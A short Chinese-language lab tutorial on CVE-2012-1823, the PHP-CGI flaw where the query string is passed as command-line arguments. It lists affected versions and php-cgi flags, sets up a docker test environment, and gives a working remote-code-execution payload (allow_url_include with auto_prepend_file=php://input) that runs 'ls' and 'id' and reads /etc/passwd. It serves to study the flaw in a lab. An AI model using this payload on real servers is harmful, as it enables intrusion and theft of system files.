CVE-2012-1823
漏洞原因
用户请求的querystring被作为了php-cgi的参数执行了,命令行参数不仅可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。
影响版本
< php-5.3.12 or php < 5.4.2
mod方式、fpm方式不受影响
漏洞利用
cgi模式下的参数
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
开启实验环境
sudo docker-compose bulid
sudo docker-compose up -d
然后ifconfig查看ip地址
访问网站
该站点在8080端口,直接访问
在后面加上-s,可发现返回源码,则说明存在此漏洞
制造漏洞
执行代码
用burpsuit抓post请求的数据包,然后修改数据包,可以php远程代码执行
我们先打开burpsuit,抓到数据包,传到repeater里
制作文件包含漏洞
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo system("ls"); ?>
插入代码将GET请求方式改为POST,发送数据包,成功执行。
还可以返回id值
<?php echo shell_exec("id"); ?>
查看对方的/etc/passwd的文件
移除漏洞环境
不要离开当前目录,漏洞测试结束后,执行如下命令移除环境
sudo docker-compose down